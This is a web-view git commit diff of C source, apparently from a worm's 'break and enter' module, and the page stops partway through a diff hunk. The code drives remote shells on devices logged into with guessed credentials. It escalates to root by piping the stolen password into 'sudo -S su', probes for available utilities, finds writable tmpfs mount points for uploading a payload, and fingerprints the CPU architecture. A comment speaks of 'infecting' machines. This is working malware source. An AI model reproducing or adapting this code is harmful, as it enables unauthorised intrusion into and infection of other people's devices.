diff options
author | David Timber <mieabby@gmail.com> | 2020-09-20 00:55:13 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-20 00:55:13 +0930 |
commit | 48861d2128f7028d25c1d03b0cfd9dc5d56b0f66 (patch) | |
tree | 51b417d2cc7c07b50e259dd25d8f877303a832c8 | |
parent | 66a17c4bf5c38579e460209c2028d3275f366121 (diff) |
* Impl bne
* Add prne_pth_reset_timer(), prne_build_str()
-rw-r--r-- | src/bne.c | 1293 | ||||
-rw-r--r-- | src/pth.c | 10 | ||||
-rw-r--r-- | src/pth.h | 1 | ||||
-rw-r--r-- | src/util_rt.c | 27 | ||||
-rw-r--r-- | src/util_rt.h | 1 |
5 files changed, 822 insertions, 510 deletions
@@ -19,6 +19,7 @@ static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms +static const struct timespec BNE_PROMPT_PAUSE = { 4, 0 }; // 4s #define BNE_CONN_TIMEOUT 5000 // 5s #define BNE_CONN_ATTEMPT 3 @@ -33,9 +34,6 @@ static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms #define BNE_AVAIL_CMD_DD 0x04 #define BNE_AVAIL_CMD_BASE64 0x08 -#define BNE_CMD_TERMINATOR "PRNE-EOF960ef402-b026-49b2-9434-61aa64cf44f2" -#define BNE_TERM_CMD "echo -n "BNE_CMD_TERMINATOR"\n" - struct prne_bne { prne_iset_t cred_set; @@ -61,21 +59,27 @@ typedef unsigned int bne_avail_cmds_t; typedef struct { void *ctx; - ssize_t (*read_f)( // combines stdout and stderr + ssize_t (*read_f) ( // combines stdout and stderr void *ctx, void *buf, const size_t len, pth_event_t ev); - ssize_t (*write_f)( // loops on the buf to always return len or -1 + ssize_t (*write_f) ( // loops on the buf to always return len or -1 void *ctx, const void *buf, const size_t len, pth_event_t ev); + int (*pollin_f) (void *ctx); uint8_t buf[2048]; - char line[256]; + char *upload_dir; + + pth_event_t ev; prne_iobuf_t ib; prne_llist_t up_loc; // series of null-terminated string + prne_bin_rcb_ctx_t rcb; bne_avail_cmds_t avail_cmds; + char stx_str[37]; + char eot_str[37]; } bne_sh_ctx_t; static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) { @@ -85,16 +89,32 @@ static void bne_sh_ctx_free_mp (bne_sh_ctx_t *p) { prne_llist_clear(&p->up_loc); } -static void bne_init_sh_ctx (bne_sh_ctx_t *p) { +static void bne_init_sh_ctx (bne_sh_ctx_t *p, prne_rnd_t *rnd) { + uint8_t uuid[16]; + prne_memzero(p, sizeof(bne_sh_ctx_t)); prne_init_llist(&p->up_loc); prne_init_iobuf(&p->ib); prne_iobuf_setextbuf(&p->ib, p->buf, sizeof(p->buf), 0); + prne_init_bin_rcb_ctx(&p->rcb); + + if (!prne_rnd(rnd, uuid, 16)) { + memset(uuid, 0xAA, 16); + } + prne_uuid_tostr(uuid, p->stx_str); + + if (!prne_rnd(rnd, uuid, 16)) { + memset(uuid, 0xBB, 16); + } + prne_uuid_tostr(uuid, p->eot_str); } static void bne_free_sh_ctx (bne_sh_ctx_t *p) { bne_sh_ctx_free_mp(p); prne_free_llist(&p->up_loc); + prne_free(p->upload_dir); + pth_event_free(p->ev, FALSE); + prne_free_bin_rcb_ctx(&p->rcb); prne_memzero(p, sizeof(bne_sh_ctx_t)); } @@ -337,17 +357,6 @@ ERR: return true; } -static void bne_reset_timer ( - pth_event_t *ev, - const struct timespec *ts) -{ - pth_event_free(*ev, FALSE); - *ev = pth_event( - PTH_EVENT_TIME, - prne_pth_tstimeout(*ts)); - prne_assert(*ev != NULL); -} - /******************************************************************************* Telnet Vector Impl *******************************************************************************/ @@ -374,170 +383,453 @@ static int bne_mp_cmp_f (const void *a, const void *b) { 0; } -static bool bne_sh_sync ( - prne_bne_t *ctx, +typedef struct { + void *ctx; + void (*line_f)(void *ctx, char *line); + size_t (*bin_f)(void *ctx, uint8_t *m, size_t len); +} bne_sh_parser_t; + +static void bne_init_sh_parser (bne_sh_parser_t *p) { + prne_memzero(p, sizeof(bne_sh_parser_t)); +} + +static void bne_free_sh_parser (bne_sh_parser_t *p) {} + +static bool bne_sh_send ( bne_sh_ctx_t *s_ctx, - pth_event_t ev) + const char *cmdline) { - size_t len; + const size_t len = strlen(cmdline); ssize_t f_ret; - char *cterm; - strcpy(s_ctx->line, BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { + prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT); + f_ret = s_ctx->write_f(s_ctx->ctx, cmdline, len, s_ctx->ev); + if (f_ret <= 0 || (size_t)f_ret != len) { return false; } + return true; +} - cterm = NULL; - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); +static char *bne_sh_mknexted_cmd (bne_sh_ctx_t *s_ctx, const char *cmd) { + const size_t cmd_len = prne_nstrlen(cmd); + const size_t entire_len = + sizeof("\necho -n \n") - 1 + sizeof(s_ctx->stx_str) - 1 + + cmd_len + + sizeof("\necho; echo -n \n") - 1 + sizeof(s_ctx->eot_str) - 1; + char *entire = prne_alloc_str(entire_len); + char *buf = entire; + + if (entire == NULL) { + return NULL; + } + + memcpy(buf, "\necho -n ", sizeof("\necho -n ") - 1); + buf += sizeof("\necho -n ") - 1; + memcpy(buf, s_ctx->stx_str, sizeof(s_ctx->stx_str) - 1); + buf += sizeof(s_ctx->stx_str) - 1; + *buf = '\n'; + buf += 1; + memcpy(buf, cmd, cmd_len); + buf += cmd_len; + memcpy(buf, "\necho; echo -n ", sizeof("\necho; echo -n ") - 1); + buf += sizeof("\necho; echo -n ") - 1; + memcpy(buf, s_ctx->eot_str, sizeof(s_ctx->eot_str) - 1); + buf += sizeof(s_ctx->eot_str) - 1; + *buf = '\n'; + buf += 1; + entire[entire_len] = 0; + + return entire; +} + +static bool bne_sh_sync_stx (bne_sh_ctx_t *s_ctx) { + ssize_t f_ret; + char *delim; + + while (true) { + delim = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + s_ctx->stx_str, + sizeof(s_ctx->stx_str) - 1); + if (delim == NULL) { + prne_iobuf_shift( + &s_ctx->ib, + -(s_ctx->ib.len / + (sizeof(s_ctx->stx_str) - 1) * + (sizeof(s_ctx->stx_str) - 1))); + } + else { + prne_iobuf_shift( + &s_ctx->ib, + -(delim - (char*)s_ctx->ib.m + (sizeof(s_ctx->stx_str) - 1))); + break; + } + + prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT); f_ret = s_ctx->read_f( s_ctx->ctx, s_ctx->ib.m + s_ctx->ib.len, s_ctx->ib.avail, - ev); + s_ctx->ev); if (f_ret <= 0) { return false; } prne_iobuf_shift(&s_ctx->ib, f_ret); - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL); - if (cterm == NULL) { - return false; } return true; } -static int bne_sh_get_uid ( - prne_bne_t *ctx, +static bool bne_sh_runcmd_line ( bne_sh_ctx_t *s_ctx, - pth_event_t ev) + bne_sh_parser_t *p_ctx, + const char *cmd) { - size_t len; + bool ret = false; + char *nested = bne_sh_mknexted_cmd(s_ctx, cmd); + char *delim; ssize_t f_ret; - char *cterm; - int ret = 0; // assume uid is 0 if the command fails - - strcpy(s_ctx->line, "id -u;"BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - return -1; + + if (nested == NULL || !bne_sh_send(s_ctx, nested)) { + goto END; } - cterm = NULL; - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_sh_sync_stx(s_ctx)) { + goto END; + } + + // do parse + while (true) { + delim = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len); + if (delim != NULL) { + *delim = 0; + if (p_ctx->line_f != NULL) { + p_ctx->line_f(p_ctx->ctx, (char*)s_ctx->ib.m); + } + prne_iobuf_shift( + &s_ctx->ib, + -(delim - (char*)s_ctx->ib.m + 1)); + continue; + } + else { + delim = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + s_ctx->eot_str, + sizeof(s_ctx->eot_str) - 1); + if (delim != NULL) { + prne_iobuf_reset(&s_ctx->ib); + ret = true; + break; + } + } + + prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT); f_ret = s_ctx->read_f( s_ctx->ctx, s_ctx->ib.m + s_ctx->ib.len, s_ctx->ib.avail, - ev); + s_ctx->ev); if (f_ret <= 0) { - return -1; + goto END; } prne_iobuf_shift(&s_ctx->ib, f_ret); - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL); - if (cterm == NULL) { - return -1; - } - else { - *cterm = 0; - sscanf((char*)s_ctx->buf, "%d", &ret); } +END: + prne_free(nested); return ret; } -static bool bne_sh_sudo ( - prne_bne_t *ctx, +static bool bne_sh_runcmd_bin ( bne_sh_ctx_t *s_ctx, - pth_event_t ev) + bne_sh_parser_t *p_ctx, + const char *cmd) { - static const char LF = '\n'; - char *colon; - size_t pw_len; + bool ret = false; + char *nested = bne_sh_mknexted_cmd(s_ctx, cmd); + char *delim; ssize_t f_ret; - size_t len; - char *cterm; + size_t consume; - strcpy(s_ctx->line, "sudo -S su;"BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - return false; + if (nested == NULL || !bne_sh_send(s_ctx, nested)) { + goto END; } - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); + if (!bne_sh_sync_stx(s_ctx)) { + goto END; + } + + // do parse + while (true) { + if (p_ctx->bin_f != NULL && s_ctx->ib.len > 0) { + consume = p_ctx->bin_f(p_ctx->ctx, s_ctx->ib.m, s_ctx->ib.len); + } + else { + consume = s_ctx->ib.len; + } + + delim = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + s_ctx->eot_str, + sizeof(s_ctx->eot_str) - 1); + if (delim != NULL) { + prne_iobuf_reset(&s_ctx->ib); + ret = true; + break; + } + else { + prne_iobuf_shift(&s_ctx->ib, -consume); + } + + prne_pth_reset_timer(&s_ctx->ev, &BNE_SCK_OP_TIMEOUT); f_ret = s_ctx->read_f( s_ctx->ctx, s_ctx->ib.m + s_ctx->ib.len, s_ctx->ib.avail, - ev); + s_ctx->ev); if (f_ret <= 0) { - return false; + goto END; } prne_iobuf_shift(&s_ctx->ib, f_ret); - colon = prne_strnchr((char*)s_ctx->ib.m, ':', s_ctx->ib.len); - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL && colon == NULL); + } - if (colon == NULL) { -/* -* UID is not 0, but sudo command is not available. -*/ - ctx->result.err = EPERM; - return false; +END: + prne_free(nested); + return ret; +} + +static bool bne_sh_sync (bne_sh_ctx_t *s_ctx) { + bne_sh_parser_t parser; + + parser.ctx = NULL; + parser.line_f = NULL; + return bne_sh_runcmd_line(s_ctx, &parser, NULL); +} + +static void bne_sh_int_parse_f (void *ctx, char *line) { + int *v = (int*)ctx; + if (line[0] != 0) { // ignore empty line + sscanf(line, "%d", v); } +} - pw_len = prne_nstrlen(ctx->result.cred.pw); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - if (pw_len > 0) { - f_ret = s_ctx->write_f( +static int bne_sh_get_uid (bne_sh_ctx_t *s_ctx) { + bne_sh_parser_t parser; + int uid = 0; + + parser.ctx = &uid; + parser.line_f = bne_sh_int_parse_f; + + if (!bne_sh_runcmd_line(s_ctx, &parser, "id -u")) { + return -1; + } + + return uid; +} + +static bool bne_sh_sudo (prne_bne_t *ctx, bne_sh_ctx_t *s_ctx) { + static const size_t ENTIRE_LEN = + sizeof("sudo -S su; echo -n \n") - 1 + sizeof(s_ctx->eot_str) - 1; + bool ret = false; + ssize_t f_ret; + char entire[ENTIRE_LEN + 1], *cmd; + char *delim; + + cmd = entire; + memcpy(cmd, "sudo -S su; echo -n ", sizeof("sudo -S su; echo -n ") - 1); + cmd += sizeof("sudo -S su; echo -n ") - 1; + memcpy(cmd, s_ctx->eot_str, sizeof(s_ctx->eot_str) - 1); + cmd += sizeof(s_ctx->eot_str) - 1; + *cmd = '\n'; + cmd += 1; + *cmd = 0; + + if (!bne_sh_send(s_ctx, entire)) { + goto END; + } + + while (true) { + prne_pth_reset_timer(&s_ctx->ev, &BNE_PROMPT_PAUSE); + f_ret = s_ctx->read_f( s_ctx->ctx, - ctx->result.cred.pw, - pw_len, - ev); - if (f_ret != (ssize_t)pw_len) { - return false; + s_ctx->ib.m + s_ctx->ib.len, + s_ctx->ib.avail, + s_ctx->ev); + if (f_ret <= 0) { + break; } + prne_iobuf_shift(&s_ctx->ib, f_ret); } - // hit enter - f_ret = s_ctx->write_f(s_ctx->ctx, &LF, 1, ev); - if (f_ret != 1) { - return false; + + if (pth_event_status(s_ctx->ev) != PTH_STATUS_OCCURRED) { + ctx->result.err = errno; + goto END; + } + delim = prne_strnstr( + (char*)s_ctx->ib.m, + s_ctx->ib.len, + s_ctx->eot_str, + sizeof(s_ctx->eot_str) - 1); + if (delim != NULL) { + // UID is not 0, but sudo command is not available + prne_iobuf_reset(&s_ctx->ib); + ctx->result.err = EPERM; + goto END; + } + + if (!(bne_sh_send(s_ctx, ctx->result.cred.pw) && + bne_sh_send(s_ctx, "\n"))) + { + ctx->result.err = errno; + goto END; } // check the uid again - if (!bne_sh_sync(ctx, s_ctx, ev) || bne_sh_get_uid(ctx, s_ctx, ev) != 0) { - // Failed to sudo - return false; + ret = bne_sh_sync(s_ctx) && bne_sh_get_uid(s_ctx) == 0; + +END: + return ret; +} + +static void bne_sh_availcmd_parse_f (void *ctx, char *line) { + bne_sh_ctx_t *s_ctx = (bne_sh_ctx_t*)ctx; + int ec; + + if (sscanf(line, "echo: %d", &ec) == 1 && ec < 127) { + s_ctx->avail_cmds |= BNE_AVAIL_CMD_ECHO; + } + else if (sscanf(line, "cat: %d", &ec) == 1 && ec < 127) { + s_ctx->avail_cmds |= BNE_AVAIL_CMD_CAT; } + else if (sscanf(line, "dd: %d", &ec) == 1 && ec < 127) { + s_ctx->avail_cmds |= BNE_AVAIL_CMD_DD; + } + else if (sscanf(line, "base64: %d", &ec) == 1 && ec < 127) { + s_ctx->avail_cmds |= BNE_AVAIL_CMD_BASE64; + } +} - return true; +typedef struct { + bne_sh_ctx_t *s_ctx; + int err; +} bne_mp_parse_ctx_t; + +static void bne_sh_mounts_parse_f (void *ctx_p, char *line) { + bne_mp_parse_ctx_t *ctx = (bne_mp_parse_ctx_t*)ctx_p; + char val[256]; + char *mp; + size_t len; + + // fs + if (sscanf(line, "%*s %*s %255s %*s %*d %*d", val) != 1) { + return; + } + if (!(strcmp(val, "devtmpfs") == 0 || strcmp(val, "tmpfs") == 0)) { + return; + } + // options + if (sscanf(line, "%*s %*s %*s %255s %*d %*d", val) != 1) { + return; + } + if (strstr(val, "rw") != val) { + return; + } + // mount point + if (sscanf(line, "%*s %255s %*s %*s %*d %*d", val) != 1) { + return; + } + + len = strlen(val); + mp = prne_alloc_str(len); + if (mp == NULL) { + ctx->err = errno; + return; + } + memcpy(mp, val, len + 1); + if (prne_llist_append( + &ctx->s_ctx->up_loc, + (prne_llist_element_t)mp) == NULL) + { + ctx->err = errno; + prne_free(mp); + return; + } +} + +typedef struct { + int err; + uint16_t e_machine; + uint8_t e_data; +} bne_sh_elf_parse_ctx_t; + +static size_t bne_sh_elf_parse_f ( + void *ctx_p, + uint8_t *m, + size_t len) +{ + bne_sh_elf_parse_ctx_t *ctx = (bne_sh_elf_parse_ctx_t*)ctx_p; + + if (ctx->err != 0) { + return len; + } + if (ctx->e_data == 0) { + const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)m; + + if (len < sizeof(Elf32_Ehdr)) { + return 0; + } + + if (!(m[EI_MAG0] == ELFMAG0 && + m[EI_MAG1] == ELFMAG1 && + m[EI_MAG2] == ELFMAG2 && + m[EI_MAG3] == ELFMAG3) || + (m[EI_CLASS] != ELFCLASS32 && m[EI_CLASS] != ELFCLASS64)) + { + ctx->err = ENOEXEC; + return len; + } + + ctx->e_data = m[EI_DATA]; + switch (ctx->e_data) { + case ELFDATA2LSB: ctx->e_machine = prne_le16toh(hdr->e_machine); break; + case ELFDATA2MSB: ctx->e_machine = prne_be16toh(hdr->e_machine); break; + default: + ctx->err = ENOEXEC; + return len; + } + } + + return len; +} + +typedef struct { + bool v7; + bool vfp; + bool thumb; +} bne_sh_cpuinfo_parse_ctx_t; + +static void bne_sh_cpuinfo_parse_f (void *ctx_p, char *line) { + bne_sh_cpuinfo_parse_ctx_t *ctx = (bne_sh_cpuinfo_parse_ctx_t*)ctx_p; + + prne_transstr(line, tolower); + + if ((strstr(line, "processor") == line || + strstr(line, "model name") == line) && + strstr(line, "v7") != NULL) + { + ctx->v7 = true; + } + else if (strstr(line, "features") == line) { + if (strstr(line, "vfp") != NULL) { + ctx->vfp = true; + } + if (strstr(line, "thumb") != NULL) { + ctx->thumb = true; + } + } } /* @@ -550,6 +842,7 @@ static bool bne_sh_sudo ( * - cat * - dd * - base64 +* - touch * (if echo and cat not available, give up) * 3. Find a suitable mount point for upload * - read /proc/mounts @@ -567,95 +860,54 @@ static bool bne_sh_setup ( bne_sh_ctx_t *s_ctx) { bool ret = false; - char *cterm, *lf, *mp; + char *mp; pth_event_t ev = NULL; - size_t len; - ssize_t f_ret; int uid; bne_mp_t *mp_arr = NULL; size_t mp_cnt = 0; prne_llist_entry_t *m_ent; - uint8_t e_data = 0; - uint16_t e_machine = 0; + bne_sh_parser_t parser; bne_sh_ctx_free_mp(s_ctx); + bne_init_sh_parser(&parser); // TRY // Skip banner - if (!bne_sh_sync(ctx, s_ctx, ev)) { + if (!bne_sh_sync(s_ctx)) { + ctx->result.err = errno; goto END; } // Check uid - uid = bne_sh_get_uid(ctx, s_ctx, ev); + uid = bne_sh_get_uid(s_ctx); if (uid < 0) { + ctx->result.err = errno; goto END; } if (uid != 0) { // Not root. Try escalating the shell - if (!bne_sh_sudo(ctx, s_ctx, ev)) { + if (!bne_sh_sudo(ctx, s_ctx)) { + // sudo failed. no point infecting unprivileged machine goto END; } } - strcpy( - s_ctx->line, - "echo 2> /dev/null > /dev/null; echo $?;" - "echo | cat 2> /dev/null > /dev/null; echo $?;" - "echo | dd 2> /dev/null > /dev/null; echo $?;" - "echo | base64 2> /dev/null > /dev/null; echo $?;" - BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - goto END; - } - - cterm = NULL; - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->read_f( - s_ctx->ctx, - s_ctx->ib.m + s_ctx->ib.len, - s_ctx->ib.avail, - ev); - if (f_ret <= 0) { - goto END; - } - prne_iobuf_shift(&s_ctx->ib, f_ret); - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL); - if (cterm == NULL) { + // available commands + bne_free_sh_parser(&parser); + bne_init_sh_parser(&parser); + parser.ctx = s_ctx; + parser.line_f = bne_sh_availcmd_parse_f; + if (!bne_sh_runcmd_line( + s_ctx, + &parser, + "echo 2> /dev/null > /dev/null; echo echo: $?\n" + "echo | cat 2> /dev/null > /dev/null; echo cat: $?\n" + "echo | dd 2> /dev/null > /dev/null; echo dd: $?\n" + "echo | base64 2> /dev/null > /dev/null; echo base64: $?\n")) + { + ctx->result.err = errno; goto END; } - else { - int r_echo, r_cat, r_dd, r_base64; - - *cterm = 0; - if (sscanf( - (char*)s_ctx->buf, - "%d %d %d %d", - &r_echo, - &r_cat, - &r_dd, - &r_base64) != 4) - { - goto END; - } - - s_ctx->avail_cmds = - (r_echo < 127 ? BNE_AVAIL_CMD_ECHO : 0) | - (r_cat < 127 ? BNE_AVAIL_CMD_CAT : 0) | - (r_dd < 127 ? BNE_AVAIL_CMD_DD : 0) | - (r_base64 < 127 ? BNE_AVAIL_CMD_BASE64 : 0); - } - if (!((s_ctx->avail_cmds & BNE_AVAIL_CMD_ECHO) && (s_ctx->avail_cmds & BNE_AVAIL_CMD_CAT))) { @@ -663,102 +915,32 @@ static bool bne_sh_setup ( goto END; } - // read /proc/mounts - strcpy( - s_ctx->line, - "cat /proc/mounts;"BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - goto END; - } + { + // read /proc/mounts + bne_mp_parse_ctx_t mpc; - cterm = NULL; - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->read_f( - s_ctx->ctx, - s_ctx->ib.m + s_ctx->ib.len, - s_ctx->ib.avail, - ev); - if (f_ret <= 0) { + prne_memzero(&mpc, sizeof(bne_mp_parse_ctx_t)); + bne_free_sh_parser(&parser); + bne_init_sh_parser(&parser); + parser.ctx = &mpc; + parser.line_f = bne_sh_mounts_parse_f; + mpc.s_ctx = s_ctx; + + if (!bne_sh_runcmd_line(s_ctx, &parser, "cat /proc/mounts")) { + ctx->result.err = errno; goto END; } - prne_iobuf_shift(&s_ctx->ib, f_ret); - - while (true) { - lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len); - if (lf == NULL) { - break; - } - *lf = 0; - - // fs - if (sscanf( - (char*)s_ctx->ib.m, - "%*s %*s %255s %*s %*d %*d", - s_ctx->line) != 1) - { - goto ENDL; - } - if (!(strcmp(s_ctx->line, "devtmpfs") == 0 || - strcmp(s_ctx->line, "tmpfs") == 0)) - { - goto ENDL; - } - // options - if (sscanf( - (char*)s_ctx->ib.m, - "%*s %*s %*s %255s %*d %*d", - s_ctx->line) != 1) - { - goto ENDL; - } - if (strstr(s_ctx->line, "rw") != s_ctx->line) { - goto ENDL; - } - // mount point - if (sscanf( - (char*)s_ctx->ib.m, - "%*s %255s %*s %*s %*d %*d", - s_ctx->line) != 1) - { - goto ENDL; - } - len = strlen(s_ctx->line); - mp = prne_alloc_str(len); - if (mp == NULL) { - ctx->result.err = errno; - goto END; - } - memcpy(mp, s_ctx->line, len + 1); - if (prne_llist_append( - &s_ctx->up_loc, - (prne_llist_element_t)mp) == NULL) - { - ctx->result.err = errno; - prne_free(mp); - goto END; - } -ENDL: - prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1)); + if (mpc.err != 0) { + ctx->result.err = mpc.err; + goto END; } - - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - } while (s_ctx->ib.avail > 0 && cterm == NULL); + } if (s_ctx->up_loc.size == 0) { // no suitable mount point found ctx->result.err = ENOSPC; goto END; } - // sort candidate mount points mp_cnt = s_ctx->up_loc.size; mp_arr = (bne_mp_t*)prne_malloc(sizeof(bne_mp_t), mp_cnt); @@ -805,182 +987,87 @@ ENDL: mp_arr = NULL; mp_cnt = 0; - // determine arch - strcpy(s_ctx->line, "cat /bin/sh;"BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - goto END; - } + { + // determine arch + bne_sh_elf_parse_ctx_t ep; + const char *cmd; - while (true) { - prne_iobuf_reset(&s_ctx->ib); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->read_f( - s_ctx->ctx, - s_ctx->ib.m + s_ctx->ib.len, - s_ctx->ib.avail, - ev); - if (f_ret <= 0) { + prne_memzero(&ep, sizeof(bne_sh_elf_parse_ctx_t)); + bne_free_sh_parser(&parser); + bne_init_sh_parser(&parser); + parser.ctx = &ep; + parser.bin_f = bne_sh_elf_parse_f; + + if (s_ctx->avail_cmds & BNE_AVAIL_CMD_DD) { + cmd = "dd if=/bin/sh bs=52 count=1 2> /dev/null"; + } + else { + cmd = "cat /bin/sh"; + } + if (!bne_sh_runcmd_bin(s_ctx, &parser, cmd)) { + ctx->result.err = errno; goto END; } - prne_iobuf_shift(&s_ctx->ib, f_ret); - - if (e_data == 0 && s_ctx->ib.len >= EI_NIDENT) { - if (!(s_ctx->ib.m[EI_MAG0] == ELFMAG0 && - s_ctx->ib.m[EI_MAG1] == ELFMAG1 && - s_ctx->ib.m[EI_MAG2] == ELFMAG2 && - s_ctx->ib.m[EI_MAG3] == ELFMAG3)) - { - ctx->result.err = ENOEXEC; - goto END; - } - if (s_ctx->ib.m[EI_CLASS] == ELFCLASS32) { - const Elf32_Ehdr *hdr = (const Elf32_Ehdr*)s_ctx->ib.m; - - if (s_ctx->ib.len < sizeof(Elf32_Ehdr)) { - goto NEXT; - } - e_machine = hdr->e_machine; - } - else if (s_ctx->ib.m[EI_CLASS] == ELFCLASS64) { - const Elf64_Ehdr *hdr = (const Elf64_Ehdr*)s_ctx->ib.m; - - if (s_ctx->ib.len < sizeof(Elf64_Ehdr)) { - goto NEXT; - } - e_machine = hdr->e_machine; - } - else { - ctx->result.err = ENOEXEC; - goto END; - } - - e_data = s_ctx->ib.m[EI_DATA]; - switch (e_data) { - case ELFDATA2LSB: e_machine = prne_le16toh(e_machine); break; - case ELFDATA2MSB: e_machine = prne_be16toh(e_machine); break; - default: - ctx->result.err = ENOEXEC; - goto END; - } + if (ep.e_data == 0) { + ctx->result.err = ENOEXEC; + goto END; } -NEXT: - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - BNE_CMD_TERMINATOR, - strlen(BNE_CMD_TERMINATOR)); - if (cterm != NULL) { - break; + if (ep.err != 0) { + ctx->result.err = ep.err; + goto END; } - } - if (e_data == 0) { - ctx->result.err = ENOEXEC; - goto END; - } - if (e_machine == EM_ARM) { - bool seen_v7 = false, seen_vfp = false, seen_thumb = false; + if (ep.e_machine == EM_ARM) { + // read /proc/cpuinfo + bne_sh_cpuinfo_parse_ctx_t cpc; - // read /proc/cpuinfo - strcpy(s_ctx->line, "cat /proc/cpuinfo;"BNE_TERM_CMD); - len = strlen(s_ctx->line); - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->write_f(s_ctx->ctx, s_ctx->line, len, ev); - if (f_ret != (ssize_t)len) { - goto END; - } + prne_memzero(&cpc, sizeof(bne_sh_cpuinfo_parse_ctx_t)); + bne_free_sh_parser(&parser); + bne_init_sh_parser(&parser); + parser.ctx = &cpc; + parser.line_f = bne_sh_cpuinfo_parse_f; - cterm = NULL; - prne_iobuf_reset(&s_ctx->ib); - do { - bne_reset_timer(&ev, &BNE_SCK_OP_TIMEOUT); - f_ret = s_ctx->read_f( - s_ctx->ctx, - s_ctx->ib.m + s_ctx->ib.len, - s_ctx->ib.avail, - ev); - if (f_ret <= 0) { + if (!bne_sh_runcmd_line(s_ctx, &parser, "cat /proc/cpuinfo")) { + ctx->result.err = errno; goto END; } - prne_iobuf_shift(&s_ctx->ib, f_ret); - - while (true) { - lf = prne_strnchr((char*)s_ctx->ib.m, '\n', s_ctx->ib.len); - if (lf == NULL) { - break; - } - *lf = 0; - prne_transstr((char*)s_ctx->ib.m, tolower); - - if (ctx->result.arch == PRNE_ARCH_NONE) { - if (strstr((char*)s_ctx->ib.m, "processor") == - (char*)s_ctx->ib.m || - strstr((char*)s_ctx->ib.m, "model name") == - (char*)s_ctx->ib.m) - { - if (strstr((char*)s_ctx->ib.m, "v7") != NULL) { - seen_v7 = true; - } - } - else if (strstr((char*)s_ctx->ib.m, "features") == - (char*)s_ctx->ib.m) - { - if (strstr((char*)s_ctx->ib.m, "vfp") != NULL) { - seen_vfp = true; - } - if (strstr((char*)s_ctx->ib.m, "thumb") != NULL) { - seen_thumb = true; - } - } - } - prne_iobuf_shift(&s_ctx->ib, -(lf - (char*)s_ctx->ib.m + 1)); + if (cpc.v7 && cpc.vfp && cpc.thumb) { + ctx->result.arch = PRNE_ARCH_ARMV7; + } + else { + ctx->result.arch = PRNE_ARCH_ARMV4T; } - - cterm = prne_strnstr( - (char*)s_ctx->ib.m, - s_ctx->ib.len, - 